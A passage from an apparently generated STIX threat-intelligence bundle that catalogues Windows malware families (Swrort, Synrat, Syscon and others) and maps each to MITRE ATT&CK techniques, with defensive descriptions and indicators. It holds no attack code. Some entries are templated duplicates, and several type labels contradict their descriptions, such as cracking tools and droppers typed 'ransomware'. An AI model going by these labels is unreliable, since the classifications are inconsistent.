      "id": "relationship--df0b2256-e890-5643-bc66-1d7482c81534",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "relationship_type": "uses",
      "source_ref": "malware--fe10f8c9-b354-5de2-ba06-45adcebdeb0e",
      "target_ref": "attack-pattern--03fbc9e9-7346-5d8d-8096-14417cb6c51d",
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "description": "Swotter exhibits technique T1055 (Process Injection)."
    },
    {
      "type": "relationship",
      "spec_version": "2.1",
      "id": "relationship--de831520-a7ee-5d11-8c34-c5c9cced3b58",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "relationship_type": "uses",
      "source_ref": "malware--fe10f8c9-b354-5de2-ba06-45adcebdeb0e",
      "target_ref": "attack-pattern--53219291-f46b-5d02-88c0-e998a3368cac",
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "description": "Swotter exhibits technique T1547.001 (Boot or Logon Autostart Execution: Registry Run Keys / Startup Folder)."
    },
    {
      "type": "relationship",
      "spec_version": "2.1",
      "id": "relationship--995337ba-c372-5459-b5b0-5008d5a6ef07",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "relationship_type": "uses",
      "source_ref": "malware--fe10f8c9-b354-5de2-ba06-45adcebdeb0e",
      "target_ref": "attack-pattern--6e5c1c96-55ac-56a4-97dc-4ea125bbfff4",
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "description": "Swotter exhibits technique T1566.001 (Phishing: Spearphishing Attachment)."
    },
    {
      "type": "relationship",
      "spec_version": "2.1",
      "id": "relationship--d1812cfb-bc7a-51c9-bf92-41b4daf12d27",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "relationship_type": "uses",
      "source_ref": "malware--fe10f8c9-b354-5de2-ba06-45adcebdeb0e",
      "target_ref": "attack-pattern--6510e526-96ec-585d-a6e6-5397dc8c8303",
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "description": "Swotter exhibits technique T1027 (Obfuscated Files or Information)."
    },
    {
      "type": "malware",
      "spec_version": "2.1",
      "id": "malware--eb4ffeb8-77d6-52db-b878-0c093bdcebe6",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "name": "Swpatch",
      "description": "Riskware:Win32/Swpatch is a generic heuristic detection used by antivirus engines to identify 'software patchers', 'keygens', or 'cracks'. These are utilities explicitly designed to circumvent digital rights management (DRM) and licensing mechanisms of commercial software, allowing users to run pirated versions for free. While the user's intent is software piracy, these files are notoriously dangerous, acting as the primary distribution vector for severe malware infections.<br><br><b>Understanding Swpatch (Software Cracks)</b><br>To an end-user, Swpatch is seen as a tool to get expensive software (like Photoshop, games, or Office) for free. For a security analyst, a Swpatch alert on a corporate network is a major compliance violation and a high-probability indicator of a malware infection. Cybercriminals routinely inject trojans, info-stealers, and ransomware into these 'cracks' (`T1204.002`) because they know users will willingly disable their antivirus to run them.<br><br><b>Execution and Risk Mechanics</b><br>Swpatch utilities operate by modifying the binary code of the targeted application (`T1574`) to bypass license checks, or by generating fraudulent license keys. To execute, they require the user to actively download the file from untrusted P2P networks or piracy forums and run it, often requiring Administrator privileges. Because the action of patching a binary mimics malicious code injection, AV naturally flags it. Attackers exploit this by telling the user, 'The crack will be flagged as a virus, this is a false positive, disable your AV to run it.' Once the AV is disabled, the hidden malware payload (bundled with the crack) executes silently.<br><br><b>Indicators of Compromise & Impact</b><br>The impact ranges from a software licensing audit failure to a devastating ransomware outbreak. Host-based IoCs include the presence of files with names like `patch.exe`, `keygen.exe`, or `crack.zip` in user download directories. EDR telemetry will often show these files spawning suspicious child processes or dropping secondary executables into `%AppData%`. A critical IoC is the user temporarily disabling the endpoint AV prior to the execution of the flagged file. (Observed samples in benchmark: 2)",
      "is_family": true,
      "malware_types": [
        "ransomware"
      ],
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "aliases": [],
      "external_references": [
        {
          "source_name": "malware-families-catalog",
          "description": "Canonical Malware Families Catalog Technical Profile for Swpatch",
          "url": "https://malware-families-catalog.systemhelpdesk.com/families/swpatch"
        }
      ],
      "labels": [
        "ransomware",
        "ember-2018",
        "systemhelpdesk"
      ]
    },
    {
      "type": "relationship",
      "spec_version": "2.1",
      "id": "relationship--c03867b8-4b30-5883-8fbd-8a81533da446",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "relationship_type": "uses",
      "source_ref": "malware--eb4ffeb8-77d6-52db-b878-0c093bdcebe6",
      "target_ref": "attack-pattern--bef94ccf-f6d3-5ee9-8eaa-a8867a38a5a4",
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "description": "Swpatch exhibits technique T1204.002 (User Execution: Malicious File (Tricking the user to run the crack))."
    },
    {
      "type": "relationship",
      "spec_version": "2.1",
      "id": "relationship--c76c1954-813e-5116-a152-81a3232b4df9",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "relationship_type": "uses",
      "source_ref": "malware--eb4ffeb8-77d6-52db-b878-0c093bdcebe6",
      "target_ref": "attack-pattern--07f2a5f1-0132-5a8d-8dbb-fae899993f56",
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "description": "Swpatch exhibits technique T1562.001 (Impair Defenses: Disable or Modify Tools (User disabling AV to run the file))."
    },
    {
      "type": "attack-pattern",
      "spec_version": "2.1",
      "id": "attack-pattern--6ac7769c-0024-5cca-b12d-ebbcd3a7339e",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "name": "T1574: Hijack Execution Flow (The action of patching the legitimate binary)",
      "description": "MITRE ATT&CK Technique T1574 (Hijack Execution Flow (The action of patching the legitimate binary)) under tactic Persistence.",
      "external_references": [
        {
          "source_name": "mitre-attack",
          "external_id": "T1574",
          "url": "https://attack.mitre.org/techniques/T1574/"
        }
      ]
    },
    {
      "type": "relationship",
      "spec_version": "2.1",
      "id": "relationship--cfc4055f-d06c-5c83-8edc-c6255b67ee06",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "relationship_type": "uses",
      "source_ref": "malware--eb4ffeb8-77d6-52db-b878-0c093bdcebe6",
      "target_ref": "attack-pattern--6ac7769c-0024-5cca-b12d-ebbcd3a7339e",
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "description": "Swpatch exhibits technique T1574 (Hijack Execution Flow (The action of patching the legitimate binary))."
    },
    {
      "type": "malware",
      "spec_version": "2.1",
      "id": "malware--e5512bb6-8506-5e1f-8111-db0825895087",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "name": "Swrort",
      "description": "Swrort (cataloged across security industry feeds as Backdoor:Win32/Swrort.A, BKDR_SWRORT.A, Trojan:Win32/Swrort, and Trojan.Swrort) is a stealthy Remote Access Trojan (RAT) and persistent backdoor active since 2011. Designed for targeted corporate infiltration and interactive endpoint control, Swrort is delivered via spearphishing emails carrying weaponized document attachments or dropped through drive-by browser exploit kits. Upon execution, the malware unpacks its heavily obfuscated payload and injects its core backdoor routines into legitimate Windows operating system processes (such as svchost.exe or explorer.exe) to blend in with trusted system traffic. Swrort secures persistence through Windows Registry Run keys (HKCU\\Software\\Microsoft\\Windows\\CurrentVersion\\Run) and hidden scheduled tasks. Once established, it initializes encrypted beaconing to remote command-and-control servers, providing threat actors with an interactive command shell, arbitrary file upload/download capabilities, remote process execution, keystroke interception, and lateral movement functionality across the compromised enterprise network. (Observed samples in benchmark: 161)",
      "is_family": true,
      "malware_types": [
        "backdoor"
      ],
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "aliases": [
        "Backdoor:Win32/Swrort.A",
        "BKDR_SWRORT.A",
        "Trojan:Win32/Swrort",
        "Trojan.Swrort",
        "Win32/Swrort"
      ],
      "external_references": [
        {
          "source_name": "malware-families-catalog",
          "description": "Canonical Malware Families Catalog Technical Profile for Swrort",
          "url": "https://malware-families-catalog.systemhelpdesk.com/families/swrort"
        }
      ],
      "labels": [
        "backdoor",
        "ember-2018",
        "systemhelpdesk"
      ]
    },
    {
      "type": "relationship",
      "spec_version": "2.1",
      "id": "relationship--eec3190a-2c41-5272-84f4-03526eb40c57",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "relationship_type": "uses",
      "source_ref": "malware--e5512bb6-8506-5e1f-8111-db0825895087",
      "target_ref": "attack-pattern--8d654e3a-ab3a-5a68-a2dd-c7e622d3b49f",
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "description": "Swrort exhibits technique T1059.003 (Windows Command Shell)."
    },
    {
      "type": "relationship",
      "spec_version": "2.1",
      "id": "relationship--ddfe5d4d-6720-5b3f-901e-867b6f4ee10b",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "relationship_type": "uses",
      "source_ref": "malware--e5512bb6-8506-5e1f-8111-db0825895087",
      "target_ref": "attack-pattern--03fbc9e9-7346-5d8d-8096-14417cb6c51d",
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "description": "Swrort exhibits technique T1055 (Process Injection)."
    },
    {
      "type": "relationship",
      "spec_version": "2.1",
      "id": "relationship--f6802871-bd6f-5fc0-b7d7-626d701906a4",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "relationship_type": "uses",
      "source_ref": "malware--e5512bb6-8506-5e1f-8111-db0825895087",
      "target_ref": "attack-pattern--53219291-f46b-5d02-88c0-e998a3368cac",
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "description": "Swrort exhibits technique T1547.001 (Boot or Logon Autostart Execution: Registry Run Keys / Startup Folder)."
    },
    {
      "type": "relationship",
      "spec_version": "2.1",
      "id": "relationship--76151327-0a11-54af-89ce-8899d1868777",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "relationship_type": "uses",
      "source_ref": "malware--e5512bb6-8506-5e1f-8111-db0825895087",
      "target_ref": "attack-pattern--9f854ac3-c197-5dbe-b964-50f8eeda8581",
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "description": "Swrort exhibits technique T1053.005 (Scheduled Task/Job: Scheduled Task)."
    },
    {
      "type": "relationship",
      "spec_version": "2.1",
      "id": "relationship--c868cb1a-8975-5ed1-90f6-1a4df4f8ad04",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "relationship_type": "uses",
      "source_ref": "malware--e5512bb6-8506-5e1f-8111-db0825895087",
      "target_ref": "attack-pattern--9561e493-14f3-5fcb-a83c-f95649da6548",
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "description": "Swrort exhibits technique T1071.001 (Application Layer Protocol: Web Protocols)."
    },
    {
      "type": "malware",
      "spec_version": "2.1",
      "id": "malware--94c55611-94d4-5a31-9e58-88bd21ba2c91",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "name": "Syncopate",
      "description": "<h3>Executive Summary</h3>\nSyncopate is a pervasive family of Potentially Unwanted Programs (PUPs) and aggressive Adware. Masquerading as a convenient system utility, browser add-on, or \"free\" application, its true objective is to monetize the user's system by hijacking web traffic, altering browser configurations, and injecting highly intrusive, unclosable advertisements and sponsored content onto the desktop.\n\n<h3>Distribution and Technical Behavior</h3>\nSyncopate is heavily distributed via deceptive advertising networks and bundled within the \"Express Installation\" settings of free software downloaded from low-reputation download portals.\n\nOnce installed, Syncopate deeply integrates with the operating system and installed web browsers:\n<ul>\n<li><strong>Browser Hijacking:</strong> The PUP forcefully alters the browser's default search engine, homepage, and new tab settings. It redirects all search traffic through a specific portal controlled by the adware operators, allowing them to intercept queries and generate pay-per-click revenue.</li>\n<li><strong>Ad Injection and Desktop Overlays:</strong> The software acts as a desktop widget, constantly pulling dynamic, unverified advertisements from remote servers. It can also inject banners, pop-unders, and sponsored links directly into the user's web viewing experience.</li>\n<li><strong>System Alteration:</strong> To ensure it remains active, Syncopate creates persistent Scheduled Tasks and modifies the Windows Registry to automatically launch its ad-serving components upon system boot.</li>\n</ul>\n\n<h3>Risk Assessment</h3>\nWhile Syncopate is not a destructive virus (it does not encrypt files or steal banking credentials), it introduces massive operational friction and privacy risks. The continuous ad injections severely degrade system performance, and the hijacked search results are frequently served by low-tier ad networks, significantly increasing the risk of exposure to more severe \"malvertising\" attacks.\n\n<h3>Mitigation and Removal Strategies</h3>\n<ul>\n<li><strong>Endpoint Scanning:</strong> Utilize a reputable enterprise-grade anti-malware solution to perform a deep system scan, targeting the Syncopate executables, hidden scheduled tasks, and persistent registry keys.</li>\n<li><strong>Browser Remediation:</strong> Manually inspect and remove any unknown or unauthorized extensions from all installed web browsers. Perform a complete factory reset of the browsers to clear the hijacked proxy and search settings.</li>\n<li><strong>Application Control:</strong> Enforce strict application whitelisting policies to prevent standard users from executing unapproved software installers that are the primary vector for this adware.</li>\n</ul> (Observed samples in benchmark: 1)",
      "is_family": true,
      "malware_types": [
        "trojan"
      ],
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "aliases": [
        "Adware.Syncopate",
        "PUP.Syncopate",
        "BrowserModifier:Win32/Syncopate"
      ],
      "external_references": [
        {
          "source_name": "malware-families-catalog",
          "description": "Canonical Malware Families Catalog Technical Profile for Syncopate",
          "url": "https://malware-families-catalog.systemhelpdesk.com/families/syncopate"
        }
      ],
      "labels": [
        "advanced_threat",
        "ember-2018",
        "systemhelpdesk"
      ]
    },
    {
      "type": "relationship",
      "spec_version": "2.1",
      "id": "relationship--6992323a-d45c-51b6-ac18-2bd7fa6ae627",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "relationship_type": "uses",
      "source_ref": "malware--94c55611-94d4-5a31-9e58-88bd21ba2c91",
      "target_ref": "attack-pattern--95fcfa9c-4678-5a49-9758-2507908bd03c",
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "description": "Syncopate exhibits technique T1566.002 (Phishing: Spearphishing Link (Social engineering to force the user to download the tool))."
    },
    {
      "type": "relationship",
      "spec_version": "2.1",
      "id": "relationship--6ec412d8-4774-5230-9ea9-701a7f1f830e",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "relationship_type": "uses",
      "source_ref": "malware--94c55611-94d4-5a31-9e58-88bd21ba2c91",
      "target_ref": "attack-pattern--dbcdb63c-3a8a-513b-a873-7b9d45a44f59",
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "description": "Syncopate exhibits technique T1176 (Browser Extensions)."
    },
    {
      "type": "relationship",
      "spec_version": "2.1",
      "id": "relationship--dcb31201-e1fd-5d78-aa06-622ce1fa0c96",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "relationship_type": "uses",
      "source_ref": "malware--94c55611-94d4-5a31-9e58-88bd21ba2c91",
      "target_ref": "attack-pattern--9617cd1a-5a22-5e0a-a624-97dbf59822df",
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "description": "Syncopate exhibits technique T1112 (Modify Registry)."
    },
    {
      "type": "malware",
      "spec_version": "2.1",
      "id": "malware--27bb8bbd-22c5-5171-9914-70678b2b1e4d",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "name": "Synrat",
      "description": "SynRAT (also cataloged across malware research archives as Syn-RAT, Backdoor.SynRAT, and SynRAT by DarkCoderSc) is a historically pivotal Delphi-based Remote Access Trojan created in June 2008 by French programmer Jean-Pierre Lesueur ('DarkCoderSc'). Designed as a full-featured administration framework, SynRAT served as the architectural foundation and direct code precursor to DarkComet, one of the most widely weaponized RATs in cybercrime and espionage history. Operating via client-server reverse TCP connections, SynRAT enabled remote operators to bypass NAT and perimeter firewalls. The trojan provided comprehensive surveillance and control capabilities, including live desktop screenshot capture, webcam monitoring, remote process enumeration and injection, registry manipulation, remote command shell execution, and keylogging. SynRAT established persistence through Windows registry Run keys and active desktop shortcuts, demonstrating high operational stealth for its era.",
      "is_family": true,
      "malware_types": [
        "trojan"
      ],
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "aliases": [
        "Syn-RAT",
        "Backdoor.SynRAT",
        "SynRAT by DarkCoderSc",
        "DarkComet Precursor",
        "Trojan.SynRAT"
      ],
      "external_references": [
        {
          "source_name": "malware-families-catalog",
          "description": "Canonical Malware Families Catalog Technical Profile for Synrat",
          "url": "https://malware-families-catalog.systemhelpdesk.com/families/synrat"
        }
      ],
      "labels": [
        "trojan",
        "ember-2018",
        "systemhelpdesk"
      ]
    },
    {
      "type": "relationship",
      "spec_version": "2.1",
      "id": "relationship--d0637d27-cb0d-504d-ae29-bcb7be7e4df8",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "relationship_type": "uses",
      "source_ref": "malware--27bb8bbd-22c5-5171-9914-70678b2b1e4d",
      "target_ref": "attack-pattern--8d654e3a-ab3a-5a68-a2dd-c7e622d3b49f",
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "description": "Synrat exhibits technique T1059.003 (Command and Scripting Interpreter: Windows Command Shell)."
    },
    {
      "type": "relationship",
      "spec_version": "2.1",
      "id": "relationship--d498b188-f0c0-5938-ad0a-ab6b02923744",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "relationship_type": "uses",
      "source_ref": "malware--27bb8bbd-22c5-5171-9914-70678b2b1e4d",
      "target_ref": "attack-pattern--53219291-f46b-5d02-88c0-e998a3368cac",
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "description": "Synrat exhibits technique T1547.001 (Boot or Logon Autostart Execution: Registry Run Keys / Startup Folder)."
    },
    {
      "type": "relationship",
      "spec_version": "2.1",
      "id": "relationship--9ba447b8-4407-502b-8847-85b87f58d768",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "relationship_type": "uses",
      "source_ref": "malware--27bb8bbd-22c5-5171-9914-70678b2b1e4d",
      "target_ref": "attack-pattern--37de49c0-a688-5fc9-b50e-201a448feea0",
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "description": "Synrat exhibits technique T1113 (Screen Capture)."
    },
    {
      "type": "relationship",
      "spec_version": "2.1",
      "id": "relationship--528b26c9-83f0-54de-b92b-4f109ea42b91",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "relationship_type": "uses",
      "source_ref": "malware--27bb8bbd-22c5-5171-9914-70678b2b1e4d",
      "target_ref": "attack-pattern--a2c12d81-fb9f-59fa-85a2-540a18fb3ffb",
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "description": "Synrat exhibits technique T1125 (Video Capture)."
    },
    {
      "type": "relationship",
      "spec_version": "2.1",
      "id": "relationship--0afd0a9d-02c6-5694-9055-1861c7cefd90",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "relationship_type": "uses",
      "source_ref": "malware--27bb8bbd-22c5-5171-9914-70678b2b1e4d",
      "target_ref": "attack-pattern--9561e493-14f3-5fcb-a83c-f95649da6548",
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "description": "Synrat exhibits technique T1071.001 (Application Layer Protocol: Web Protocols)."
    },
    {
      "type": "malware",
      "spec_version": "2.1",
      "id": "malware--cf98a49a-5e02-5bb4-8021-7f51ac6f563a",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "name": "Syscon",
      "description": "Trojan:Win32/Syscon is a persistent, stealthy trojan designed to breach endpoint defenses and securely deliver secondary, high-severity payloads like ransomware, banking trojans, and botnet agents, or act as a persistent backdoor.<br><br><b>Understanding Syscon</b><br>To an end-user, a Syscon infection is typically invisible until the devastating secondary payload executes. For threat intelligence analysts, Syscon is a critical staging mechanism. It functions as an 'Initial Access Broker' tool. Its primary objective is to securely bypass endpoint defenses, profile the infected machine to ensure it is not a sandbox, and reach out to a Command-and-Control (C2) server to pull down the final, destructive payload.<br><br><b>Execution and Evasion Strategies</b><br>Syscon is commonly distributed via massive malspam campaigns containing weaponized attachments (like ZIP files or Office macros) or through exploit kits. Upon execution, it utilizes heavy packing and dynamic API resolution to evade static antivirus signatures. It drops a randomized executable into the `%Temp%` or `%AppData%` directory. It establishes persistence by creating a hidden scheduled task or modifying the Registry Run keys. Syscon frequently injects its downloading routine into legitimate system processes (like `explorer.exe` or `svchost.exe`) to mask its outbound network traffic.<br><br><b>Indicators of Compromise (IoCs)</b><br>Threat hunters should investigate EDR alerts related to 'Suspicious Process Injection' or 'Anomalous Child Process Spawning'. Network logs will often reveal Syscon reaching out to compromised domains using encrypted HTTPS traffic. The presence of unexpected, hidden scheduled tasks designed to execute randomly named binaries in the user's profile is a strong IoC. Memory analysis is necessary to extract the injected downloader modules and determine what payloads were requested. (Observed samples in benchmark: 1)",
      "is_family": true,
      "malware_types": [
        "ransomware"
      ],
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "aliases": [],
      "external_references": [
        {
          "source_name": "malware-families-catalog",
          "description": "Canonical Malware Families Catalog Technical Profile for Syscon",
          "url": "https://malware-families-catalog.systemhelpdesk.com/families/syscon"
        }
      ],
      "labels": [
        "ransomware",
        "ember-2018",
        "systemhelpdesk"
      ]
    },
    {
      "type": "relationship",
      "spec_version": "2.1",
      "id": "relationship--8e477183-e3e0-56ef-91b2-8d0240b2838a",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "relationship_type": "uses",
      "source_ref": "malware--cf98a49a-5e02-5bb4-8021-7f51ac6f563a",
      "target_ref": "attack-pattern--fd6c1c13-5ac2-56b9-9973-db402db30180",
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "description": "Syscon exhibits technique T1105 (Ingress Tool Transfer)."
    },
    {
      "type": "relationship",
      "spec_version": "2.1",
      "id": "relationship--2ecf9284-82e9-5416-8732-69c75a85192d",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "relationship_type": "uses",
      "source_ref": "malware--cf98a49a-5e02-5bb4-8021-7f51ac6f563a",
      "target_ref": "attack-pattern--03fbc9e9-7346-5d8d-8096-14417cb6c51d",
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "description": "Syscon exhibits technique T1055 (Process Injection)."
    },
    {
      "type": "relationship",
      "spec_version": "2.1",
      "id": "relationship--2100835e-179c-5823-8592-7612be30e3f0",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "relationship_type": "uses",
      "source_ref": "malware--cf98a49a-5e02-5bb4-8021-7f51ac6f563a",
      "target_ref": "attack-pattern--53219291-f46b-5d02-88c0-e998a3368cac",
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "description": "Syscon exhibits technique T1547.001 (Boot or Logon Autostart Execution: Registry Run Keys / Startup Folder)."
    },
    {
      "type": "relationship",
      "spec_version": "2.1",
      "id": "relationship--6ef00f87-9b5b-545f-a350-960623a4622f",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "relationship_type": "uses",
      "source_ref": "malware--cf98a49a-5e02-5bb4-8021-7f51ac6f563a",
      "target_ref": "attack-pattern--6e5c1c96-55ac-56a4-97dc-4ea125bbfff4",
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "description": "Syscon exhibits technique T1566.001 (Phishing: Spearphishing Attachment)."
    },
    {
      "type": "relationship",
      "spec_version": "2.1",
      "id": "relationship--857613bd-9d47-5804-b982-28ea8649ed39",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "relationship_type": "uses",
      "source_ref": "malware--cf98a49a-5e02-5bb4-8021-7f51ac6f563a",
      "target_ref": "attack-pattern--6510e526-96ec-585d-a6e6-5397dc8c8303",
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "description": "Syscon exhibits technique T1027 (Obfuscated Files or Information)."
    },
    {
      "type": "malware",
      "spec_version": "2.1",
      "id": "malware--342d775c-f156-5ca2-b36d-a9ade42ffbd8",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "name": "Sysdrop",
      "description": "Trojan:Win32/Sysdrop is a persistent, stealthy trojan designed to breach endpoint defenses and securely deliver secondary, high-severity payloads like ransomware, banking trojans, and botnet agents, or act as a persistent backdoor.<br><br><b>Understanding Sysdrop</b><br>To an end-user, a Sysdrop infection is typically invisible until the devastating secondary payload executes. For threat intelligence analysts, Sysdrop is a critical staging mechanism. It functions as an 'Initial Access Broker' tool. Its primary objective is to securely bypass endpoint defenses, profile the infected machine to ensure it is not a sandbox, and reach out to a Command-and-Control (C2) server to pull down the final, destructive payload.<br><br><b>Execution and Evasion Strategies</b><br>Sysdrop is commonly distributed via massive malspam campaigns containing weaponized attachments (like ZIP files or Office macros) or through exploit kits. Upon execution, it utilizes heavy packing and dynamic API resolution to evade static antivirus signatures. It drops a randomized executable into the `%Temp%` or `%AppData%` directory. It establishes persistence by creating a hidden scheduled task or modifying the Registry Run keys. Sysdrop frequently injects its downloading routine into legitimate system processes (like `explorer.exe` or `svchost.exe`) to mask its outbound network traffic.<br><br><b>Indicators of Compromise (IoCs)</b><br>Threat hunters should investigate EDR alerts related to 'Suspicious Process Injection' or 'Anomalous Child Process Spawning'. Network logs will often reveal Sysdrop reaching out to compromised domains using encrypted HTTPS traffic. The presence of unexpected, hidden scheduled tasks designed to execute randomly named binaries in the user's profile is a strong IoC. Memory analysis is necessary to extract the injected downloader modules and determine what payloads were requested. (Observed samples in benchmark: 2)",
      "is_family": true,
      "malware_types": [
        "ransomware"
      ],
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "aliases": [],
      "external_references": [
        {
          "source_name": "malware-families-catalog",
          "description": "Canonical Malware Families Catalog Technical Profile for Sysdrop",
          "url": "https://malware-families-catalog.systemhelpdesk.com/families/sysdrop"
        }
      ],
      "labels": [
        "ransomware",
        "ember-2018",
        "systemhelpdesk"
      ]
    },
    {
      "type": "relationship",
      "spec_version": "2.1",
      "id": "relationship--2ade8307-44d8-5aaa-a9be-9b08b6e69fc9",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "relationship_type": "uses",
      "source_ref": "malware--342d775c-f156-5ca2-b36d-a9ade42ffbd8",
      "target_ref": "attack-pattern--fd6c1c13-5ac2-56b9-9973-db402db30180",
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "description": "Sysdrop exhibits technique T1105 (Ingress Tool Transfer)."
    },
    {
      "type": "relationship",
      "spec_version": "2.1",
      "id": "relationship--94893803-9b3c-5eed-ba7b-70afb8c99375",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "relationship_type": "uses",
      "source_ref": "malware--342d775c-f156-5ca2-b36d-a9ade42ffbd8",
      "target_ref": "attack-pattern--03fbc9e9-7346-5d8d-8096-14417cb6c51d",
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "description": "Sysdrop exhibits technique T1055 (Process Injection)."
    },
    {
      "type": "relationship",
      "spec_version": "2.1",
      "id": "relationship--475d2edb-4202-5546-9b52-df82f57d80c3",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "relationship_type": "uses",
      "source_ref": "malware--342d775c-f156-5ca2-b36d-a9ade42ffbd8",
      "target_ref": "attack-pattern--53219291-f46b-5d02-88c0-e998a3368cac",
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "description": "Sysdrop exhibits technique T1547.001 (Boot or Logon Autostart Execution: Registry Run Keys / Startup Folder)."
    },
    {
      "type": "relationship",
      "spec_version": "2.1",
      "id": "relationship--02fc5cb5-637b-5571-9810-284fec03fa43",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "relationship_type": "uses",
      "source_ref": "malware--342d775c-f156-5ca2-b36d-a9ade42ffbd8",
      "target_ref": "attack-pattern--6e5c1c96-55ac-56a4-97dc-4ea125bbfff4",
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "description": "Sysdrop exhibits technique T1566.001 (Phishing: Spearphishing Attachment)."
    },
    {
      "type": "relationship",
      "spec_version": "2.1",
      "id": "relationship--28974035-e5ff-5068-80e4-934032d01471",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "relationship_type": "uses",
